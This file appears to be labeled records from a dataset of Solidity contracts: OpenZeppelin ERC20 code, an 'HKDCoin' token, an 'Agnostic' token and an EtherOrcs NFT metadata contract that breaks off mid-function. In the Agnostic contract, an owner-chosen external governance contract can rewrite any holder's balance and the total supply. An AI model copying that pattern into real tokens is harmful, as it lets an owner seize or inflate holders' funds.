function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/[email protected]/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/ERC20Burnable.sol
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
// File: contract-76d6453f6c.sol
pragma solidity ^0.8.2;
/// @custom:security-contact [email protected]
contract HKDCoin is ERC20, ERC20Burnable, Pausable, AccessControl {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() ERC20("HKD Coin", "CHKD") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(PAUSER_ROLE, msg.sender);
_mint(msg.sender, 1000000 * 10 ** decimals());
_setupRole(MINTER_ROLE, msg.sender);
}
function pause() public onlyRole(PAUSER_ROLE) {
_pause();
}
function unpause() public onlyRole(PAUSER_ROLE) {
_unpause();
}
function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) {
_mint(to, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(from, to, amount);
}
} | True | [
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pragma solidity 0.6.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract Tokenomics {
function transferProxy(
address[] memory addressProps,
uint256[] memory _passProxyProps)
virtual public payable returns (address[] memory returnAddress, uint256[] memory returnProxyPros, uint256 longOfReturn);
}
abstract contract Governance {
function getLastGovernanceContract() virtual public view returns (address _question);
}
abstract contract Token {
function transfer(address _to, uint256 _value) virtual public returns (bool success);
function balanceOf(address _owner) virtual pure public returns (uint256 balance);
function transferFrom(address _from, address _to, uint256 _value) virtual public returns (bool success);
}
contract Agnostic is Ownable {
using SafeMath for uint256;
string public constant name = "Agnostic";
string public constant symbol = "AGN";
uint256 public constant decimals = 18;
uint256 private constant _maximumSupply = 100000 * 10 ** decimals;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
bool public isEmergencyFlow;
bool public isGovernanceBlocked;
address public governanceAddress;
uint256 public _totalSupply;
mapping(address => uint256) public _balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor() public override {
_owner = msg.sender;
_totalSupply = _maximumSupply;
_balanceOf[msg.sender] = _maximumSupply;
emit Transfer(address(0), msg.sender, _maximumSupply);
isEmergencyFlow = true;
}
function totalSupply () public view returns (uint256) {
return _totalSupply;
}
function balanceOf (address who) public view returns (uint256) {
return _balanceOf[who];
}
// Emergency Flow
function emergencyFlow (bool setEmergencyFlow) public onlyOwner returns (bool success) {
isEmergencyFlow = setEmergencyFlow;
return true;
}
// Block Governance Forver !!!
function blockGovernanceForever () public onlyOwner returns (bool success) {
isGovernanceBlocked = true;
return true;
}
// Set Governance Address
function setGovernanceAddress (address _governanceAddress) public onlyOwner returns (bool success) {
require(!isGovernanceBlocked);
governanceAddress = _governanceAddress;
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(balanceOf(_from) >= _value);
if(isEmergencyFlow)
{
_balanceOf[_from] = _balanceOf[_from].sub(_value);
_balanceOf[_to] = _balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
else
{
address[] memory _passAddressProps = new address[](3);
_passAddressProps[0] = _from;
_passAddressProps[1] = _to;
_passAddressProps[2] = address(this);
uint256[] memory _passProxyProps = new uint256[](5);
_passProxyProps[0] = _balanceOf[_from];
_passProxyProps[1] = _balanceOf[_to];
_passProxyProps[2] = _balanceOf[address(this)];
_passProxyProps[3] = _value;
_passProxyProps[4] = _totalSupply;
(address[] memory returnAddress, uint256[] memory transferProxyProps, uint256 longOfReturn) =
Tokenomics(Governance(governanceAddress).getLastGovernanceContract()).transferProxy(_passAddressProps, _passProxyProps);
for (uint256 i=0; i < longOfReturn-2; i++) {
_balanceOf[returnAddress[i]] = transferProxyProps[i];
}
uint256 valueTransfered = transferProxyProps[longOfReturn-2];
_totalSupply = transferProxyProps[longOfReturn-1];
emit Transfer(_from, _to, valueTransfered);
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_balanceOf[msg.sender] >= _value);
_transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != address(0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= _balanceOf[_from]);
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
// Burn Tokens
function burn (uint256 _burnAmount) public onlyOwner returns (bool success) {
_transfer(_owner, address(0), _burnAmount);
_totalSupply = _totalSupply.sub(_burnAmount);
return true;
}
// Wrong Send AGN
function returnFromContract() public onlyOwner returns (bool success) {
_transfer(address(this), _owner, _balanceOf[address(this)]);
return true;
}
// Wrong Send Various Tokens
function returnVariousTokenFromContract(address tokenAddress) public onlyOwner returns (bool success) {
Token token = Token(tokenAddress);
token.transfer(msg.sender, token.balanceOf(address(this)));
return true;
}
// Wrong Send ETH
function returnETHFromContract(uint256 value) public onlyOwner returns (bool success) {
msg.sender.transfer(value);
return true;
}
} | True | [
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] |
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.7;
contract InventoryManager {
address impl_;
address public manager;
enum Part { body, helm, mainhand, offhand, unique }
mapping(uint8 => address) public bodies;
mapping(uint8 => address) public helms;
mapping(uint8 => address) public mainhands;
mapping(uint8 => address) public offhands;
mapping(uint8 => address) public uniques;
string public constant header = '<svg id="orc" width="100%" height="100%" version="1.1" viewBox="0 0 60 60" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">';
string public constant footer = '<style>#orc{shape-rendering: crispedges; image-rendering: -webkit-crisp-edges; image-rendering: -moz-crisp-edges; image-rendering: crisp-edges; image-rendering: pixelated; -ms-interpolation-mode: nearest-neighbor;}</style></svg>';
function getSVG(uint8 body_, uint8 helm_, uint8 mainhand_, uint8 offhand_) public view returns(string memory) {
// it's a unique!
if (helm_ > 40) return string(abi.encodePacked(header, get(Part.unique, body_), footer));
return string(abi.encodePacked(
header,
get(Part.body, body_),
helm_ > 4 ? get(Part.helm, helm_) : "",
mainhand_ > 0 ? get(Part.mainhand, mainhand_) : "",
offhand_ > 4 ? get(Part.offhand, offhand_) : "",
footer ));
}
constructor() { manager = msg.sender;}
function getTokenURI(uint16 id_, uint8 body_, uint8 helm_, uint8 mainhand_, uint8 offhand_, uint16 level_, uint16 zugModifier_) public view returns (string memory) {
string memory svg = Base64.encode(bytes(getSVG(body_,helm_,mainhand_,offhand_)));
return
string(
abi.encodePacked(
'data:application/json;base64,',
Base64.encode(
bytes(
abi.encodePacked(
'{"name":"Orc #',toString(id_),'", "description":"EtherOrcs is a collection of 5050 Orcs ready to pillage the blockchain. With no IPFS or API, these Orcs are the very first role-playing game that takes place 100% on-chain. Spawn new Orcs, battle your Orc to level up, and pillage different loot pools to get new weapons and gear which upgrades your Orc metadata. This Horde of Orcs will stand the test of time and live on the blockchain for eternity.", "image": "',
'data:image/svg+xml;base64,',
svg,
'",',
getAttributes(body_, helm_, mainhand_, offhand_, level_, zugModifier_),
'}'
)
)
)
)
);
}
/*///////////////////////////////////////////////////////////////
INVENTORY MANAGEMENT
//////////////////////////////////////////////////////////////*/
function setBodies(uint8[] calldata ids, address source) external {
require(msg.sender == manager, "not manager");
for (uint256 index = 0; index < ids.length; index++) {
bodies[ids[index]] = source;
}
}
function setHelms(uint8[] calldata ids, address source) external {
require(msg.sender == manager, "not manager");
for (uint256 index = 0; index < ids.length; index++) {
helms[ids[index]] = source;
}
}
function setMainhands(uint8[] calldata ids, address source) external {
require(msg.sender == manager, "not manager");
for (uint256 index = 0; index < ids.length; index++) {
mainhands[ids[index]] = source;
}
}
function setOffhands(uint8[] calldata ids, address source) external {
require(msg.sender == manager, "not manager");
for (uint256 index = 0; index < ids.length; index++) {
offhands[ids[index]] = source;
}
}
function setUniques(uint8[] calldata ids, address source) external {
require(msg.sender == manager, "not manager");
for (uint256 index = 0; index < ids.length; index++) {
uniques[ids[index]] = source;
}
}
/*///////////////////////////////////////////////////////////////
INTERNAL FUNCTIONS
//////////////////////////////////////////////////////////////*/
function call(address source, bytes memory sig) internal view returns (string memory svg) {
(bool succ, bytes memory ret) = source.staticcall(sig);
require(succ, "failed to get data");
svg = abi.decode(ret, (string));
}
function get(Part part, uint8 id) internal view returns (string memory data_) {
address source =
part == Part.body ? bodies[id] :
part == Part.helm ? helms[id] :
part == Part.mainhand ? mainhands[id] :
part == Part.offhand ? offhands[id] : uniques[id];
data_ = wrapTag(call(source, getData(part, id)));
}
function wrapTag(string memory uri) internal pure returns (string memory) {
return string(abi.encodePacked('<image x="1" y="1" width="60" height="60" image-rendering="pixelated" preserveAspectRatio="xMidYMid" xlink:href="data:image/png;base64,', uri, '"/>'));
}
function getData(Part part, uint8 id) internal pure returns (bytes memory data) {
string memory s = string(abi.encodePacked(
part == Part.body ? "body" :
part == Part.helm ? "helm" :
part == Part.mainhand ? "mainhand" :
part == Part.offhand ? "offhand" : "unique",
toString(id),
"()"
));
return abi.encodeWithSignature(s, "");
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function getAttributes(uint8 body_, uint8 helm_, uint8 mainhand_, uint8 offhand_, uint16 level_, uint16 zugModifier_) internal pure returns (string memory) {
return string(abi.encodePacked(
'"attributes": [',
getBodyAttributes(body_), ',',
getHelmAttributes(helm_), ',',
getMainhandAttributes(mainhand_), ',',
getOffhandAttributes(offhand_),
',{"trait_type": "level", "value":', toString(level_),
'},{"display_type": "boost_number","trait_type": "zug bonus", "value":',
toString(zugModifier_),'}]'));
}
function getBodyAttributes(uint8 body_) internal pure returns(string memory) {
return string(abi.encodePacked('{"trait_type":"Body","value":"',getBodyName(body_),'"}'));
}
function getHelmAttributes(uint8 helm_) internal pure returns(string memory) {
return string(abi.encodePacked('{"trait_type":"Helm","value":"',getHelmName(helm_),'"},{"display_type":"number","trait_type":"HelmTier","value":',toString(getTier(helm_)),'}'));
}
function getMainhandAttributes(uint8 mainhand_) internal pure returns(string memory) {
return string(abi.encodePacked('{"trait_type":"Mainhand","value":"',getMainhandName(mainhand_),'"},{"display_type":"number","trait_type":"MainhandTier","value":',toString(getTier(mainhand_)),'}'));
}
function getOffhandAttributes(uint8 offhand_) internal pure returns(string memory) {
return string(abi.encodePacked('{"trait_type":"Offhand","value":"',getOffhandName(offhand_),'"},{"display_type":"number","trait_type":"OffhandTier","value":',toString(getTier(offhand_)),'}'));
}
function getTier(uint16 id) internal pure returns (uint16) {
if (id > 40) return 100;
if (id == 0) return 0;
return ((id - 1) / 4 );
}
// Here, we do sort of a Binary Search to find the correct name. Not the pritiest code I've wrote, but hey, it works!
function getBodyName(uint8 id) public pure returns (string memory) {
if (id > 40) return getUniqueName(id);
if (id < 20) {
if ( id < 10) {
if (id < 5) {
if (id < 3) {
return id == 1 ? "Green Orc 1" : "Green Orc 2";
}
return id == 3 ? "Green Orc 3" : "Dark Green Orc 1";
}
if (id < 7) return id == 5 ? "Dark Green Orc 2" : "Dark Green Orc 3";
return id == 7 ? "Red Orc 1" : id == 8 ? "Red Orc 2" : "Red Orc 3";
}
if (id <= 15) {
if (id < 13) {
return id == 10 ? "Blood Red Orc 1" : id == 11 ? "Blood Red Orc 2" : "Blood Red Orc 3";
}
return id == 13 ? "Clay Orc 1" : id == 14 ? "Clay Orc 2" : "Clay Orc 3";
}
if (id < 18) return id == 16 ? "Dark Clay Orc 1" : "Dark Clay Orc 2";
return id == 18 ? "Dark Clay Orc 3" : "Blue Orc 1";
}
if ( id < 30) {
if (id < 25) {
if (id < 23) {
return id == 20 ? "Blue Orc 2" : id == 21 ? "Blue Orc 3" : "Midnight Blue Orc 1";
}
return id == 23 ? "Midnight Blue Orc 2" : "Midnight Blue Orc 3";
}
if (id < 27) return id == 25 ? "Albino Orc 1" : "Albino Orc 2";
return "Albino Orc 3";
}
}
function getHelmName(uint8 id) public pure returns (string memory) {
if (id > 40) return getUniqueName(id);
if (id < 20) {
if ( id < 10) {
if (id < 5) {
if (id < 3) {
return id == 1 ? "None" : "None";
}
return id == 3 ? "None" : "None";
}
if (id < 7) return id == 5 ? "Leather Helm +1" : "Orcish Helm +1";
return id == 7 ? "Leather Cap +1" : id == 8 ? "Iron Helm +1" : "Bone Helm +2";
}
if (id <= 15) {
if (id < 13) {
return id == 10 ? "Full Orc Helm +2" : id == 11 ? "Chainmail Cap +2" : "Strange Helm +2";
}
return id == 13 ? "Full Plate Helm +3" : id == 14 ? "Chainmail Coif +3" : "Boar Head +3";
}
if (id < 18) return id == 16 ? "Orb of Protection +3" : "Royal Thingy +4";
return id == 18 ? "Dark Iron Helm +4" : "Cursed Hood +4";
}
if ( id < 30) {
if (id < 25) {
if (id < 23) {
return id == 20 ? "Red Bandana +4" : id == 21 ? "Thorned Helm +5" : "Demon Skull +5";
}
return id == 23 ? "Treasure Chest +5" : "Cursed Hood +5";
}
if (id < 27) return id == 25 ? "Blue Knight Helm +6" : "Parasite +6";
return id == 27 ? "Dragon Eyes +6" : id == 28 ? "Horned Cape +6" : "Nether Blindfold +7";
}
if (id <= 35) {
if (id < 33) {
return id == 30 ? "Lightning Crown +7" : id == 31 ? "Master Warlock Cape +7" : "Red Knight Helm +7";
}
return id == 33 ? "Beholder Head +8" : id == 34 ? "Ice Crown +8" : "Band of the Dark Lord +8";
}
if (id < 38) return id == 36 ? "Helm of Evil +8" : "Blazing Horns +9";
return id == 38 ? "Possessed Helm +9" : id == 39 ? "Molten Crown +9" : "Helix Helm +9";
}
function getMainhandName(uint8 id) public pure returns (string memory) {
if (id > 40) return getUniqueName(id);
if (id < 20) {
if ( id < 10) {
if (id < 5) {
if (id < 3) {
return id == 1 ? "Pickaxe" : "Torch";
}
return id == 3 ? "Club" : "Pleb Staff";
}
if (id < 7) return id == 5 ? "Short Sword +1" : "Dagger +1";
return id == 7 ? "Simple Axe +1" : id == 8 ? "Fiery Poker +1" : "Large Axe +2";
}
if (id <= 15) {
if (id < 13) {
return id == 10 ? "Iron Hammer +2" : id == 11 ? "Iron Mace +2" : "Jagged Axe +2";
}
return id == 13 ? "Enchanted Poker +3" : id == 14 ? "Curved Sword +3" : "Ultra Mallet +3";
}
if (id < 18) return id == 16 ? "Disciple Staff +3" : "Assassin Blade +4";
return id == 18 ? "Swamp Staff +4" : "Simple Wand +4";
}
if ( id < 30) {
if (id < 25) {
if (id < 23) {
return id == 20 ? "Royal Blade +4" : id == 21 ? "Skull Shield +5" : "Skull Crusher Axe +5";
}
return id == 23 ? "Flaming Staff +5" : "Flaming Royal Blade +5";
}
if (id < 27) return id == 25 ? "Berserker Sword +6" : "Necromancer Staff +6";
return id == 27 ? "Flaming Skull Shield +6" : id == 28 ? "Frozen Scythe +6" : "Blood Sword +7";
}
if (id <= 35) {
if (id < 33) {
return id == 30 ? "Dark Lord Staff +7" : id == 31 ? "Bow of Artemis +7" : "Ice Sword +7";
}
return id == 33 ? "Cryptic Staff +8" : id == 34 ? "Nether Lance +8" : "Demonic Axe +8";
}
if (id < 38) return id == 36 ? "Old Moon Sword +8" : "Lightning Lance +9";
return id == 38 ? "Molten Hammer +9" : id == 39 ? "Possessed Great Staff +9" : "Helix Lance +9";
}
function getOffhandName(uint8 id) public pure returns (string memory) {
if (id > 40) return getUniqueName(id);
if (id < 20) {
if ( id < 10) {
if (id < 5) {
if (id < 3) {
return id == 1 ? "None" : "None";
}
return id == 3 ? "None" : "None";
}
if (id < 7) return id == 5 ? "Wooden Shield +1" : "Paper Hands Shield +1";
return id == 7 ? "Dagger +1" : id == 8 ? "Pirate Hook +1" : "Offhand Axe +2";
}
if (id <= 15) {
if (id < 13) {
return id == 10 ? "Offhand Slasher +2" : id == 11 ? "Large Shield +2" : "Bomb +2";
}
return id == 13 ? "Offhand Poker +3" : id == 14 ? "Reinforced Shield +3" : "War Banner +3";
}
if (id < 18) return id == 16 ? "Hand Cannon +3" : "Metal Kite Shield +4";
return id == 18 ? "Crossbow +4" : "Cursed Skull +4";
}
if ( id < 30) {
if (id < 25) {
if (id < 23) {
return id == 20 ? "Spiked Shield +4" : id == 21 ? "Cursed Totem +5" : "Grimoire +5";
}
return id == 23 ? "Offhand Glaive +5" : "Frost Side Sword +5";
}
if (id < 27) return id == 25 ? "Magic Shield +6" : "Enchanted Glaive +6";
return id == 27 ? "Burning Wand +6" : id == 28 ? "Burning Shield +6" : "Burning Blade +7";
}
if (id <= 35) {
if (id < 33) {
return id == 30 ? "Holy Scepter +7" : id == 31 ? "Possessed Skull +7" : "Demonic Grimoire +7";
}
return id == 33 ? "Scepter of Frost +8" : id == 34 ? "Demonic Scythe +8" : "Lightning Armband of Power +8";
}
if (id < 38) return id == 36 ? "Ice Staff +8" : "Nether Shield +9";
return id == 38 ? "Molten Scimitar +9" : id == 39 ? "Staff of the Dark Lord +9" : "Helix Scepter +9";
}
function getUniqueName(uint8 id) internal pure returns (string memory) {
if(id < 47) {
if(id < 44) {
return id == 41 ? "Cthulhu" : id == 42 ? "Vorgak The War Chief" : "Gromlock The Destroyer";
}
return id == 44 ? "Yuckha The Hero" : id == 45 ? "Orgug The Master Warlock" : "Hoknuk The Demon Tamer";
}
if (id < 50) {
return id == 47 ? "Lava Man" : id == 48 ? "hagra the Zombie" : "Morzul The Ice Warrior";
}
return id == 50 ? "T4000 The MechaOrc" : id == 51 ? "Slime Orc The Forgotten" : "Mouse God";
}
}
/// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides a function for encoding some bytes in base64
/// @notice NOT BUILT BY ETHERORCS TEAM. Thanks Bretch Devos!
library Base64 {
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
